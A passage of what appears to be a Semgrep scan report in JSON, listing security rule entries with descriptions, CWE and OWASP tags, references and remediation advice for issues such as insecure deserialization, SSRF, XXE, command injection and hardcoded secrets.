`ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","id":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","name":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected","id":"python.lang.security.audit.exec-detected.exec-detected","name":"python.lang.security.audit.exec-detected.exec-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.exec-detected.exec-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"help":{"markdown":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)\n - [https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration](https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration)\n","text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"helpUri":"https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","id":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","name":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"help":{"markdown":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password)\n - [https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password](https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password)\n","text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","id":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","name":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"help":{"markdown":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2)\n - [https://jinja.palletsprojects.com/en/2.11.x/api/#basics](https://jinja.palletsprojects.com/en/2.11.x/api/#basics)\n","text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","id":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","name":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"help":{"markdown":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)\n","text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","id":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","name":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-with-http.request-session-with-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"help":{"markdown":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.20/#apiservice-v1-apiregistration-k8s-io)\n","text":"Service is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecureSkipTLSVerify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","id":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","name":"yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-service.skip-tls-verify-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jose.JWT.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","id":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","name":"javascript.jose.security.audit.jose-exposed-data.jose-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.audit.jose-exposed-data.jose-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"help":{"markdown":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/kinesis_stream#encryption_type)\n - [https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html](https://docs.aws.amazon.com/streams/latest/dev/server-side-encryption.html)\n","text":"The AWS Kinesis stream does not encrypt data at rest. The data could be read if the Kinesis stream storage layer is compromised. Enable Kinesis stream server-side encryption."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","id":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","name":"terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-unencrypted.aws-kinesis-stream-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-joblib-django.tainted-joblib-django","id":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","name":"python.django.deserialization.tainted-joblib-django.tainted-joblib-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-joblib-django.tainted-joblib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.ssrf.gin-tainted-url-host.gin-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - 